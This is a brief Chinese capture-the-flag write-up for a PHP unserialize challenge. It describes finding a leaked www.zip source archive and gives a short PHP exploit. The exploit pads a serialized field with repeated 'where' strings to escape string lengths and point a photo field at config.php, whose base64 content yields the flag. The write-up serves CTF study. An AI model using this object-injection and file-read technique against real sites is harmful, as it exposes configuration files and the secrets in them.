[青少年CTF]Web_unserialize

这道题一开始需要扫目录发现www.zip,下载下来开源码分析，最后写出exp：

<?php

class b

{

    public $phone = "12345678901";

    public $email = "163@163.com";

    public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");

    public $photo = "config.php";

}

$a=new b();

$profile = serialize($a);

echo $profile;

?>

发包后在点击查看

将此base64解密得出flag